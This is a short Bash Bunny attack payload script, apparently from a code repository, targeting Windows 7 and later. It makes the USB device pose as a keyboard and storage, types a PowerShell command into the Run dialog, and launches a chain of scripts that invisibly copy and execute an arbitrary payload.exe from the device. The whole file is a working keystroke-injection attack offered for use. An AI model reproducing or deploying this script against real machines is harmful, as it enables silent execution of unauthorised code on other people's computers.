2017-03-05 10:43:42 -05:00

23 lines
675 B
Bash

#!/bin/bash
#
# Title: ExecutableInstaller
# Author: IMcPwn
# Version: 1.0
# Target: Windows 7+
#
# Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
# which in turn executes e.cmd invisibly using i.vbs
# which in turn copies payload.exe from the root of the Bash Bunny and then executes it
# using the --startup parameter. Change these settings inside of e.cmd.
#
LED R
ATTACKMODE HID STORAGE
QUACK GUI r
QUACK DELAY 100
# TODO: Verify $SWITCH_POSITION
QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')"
QUACK ENTER
# Green LED for finished
LED G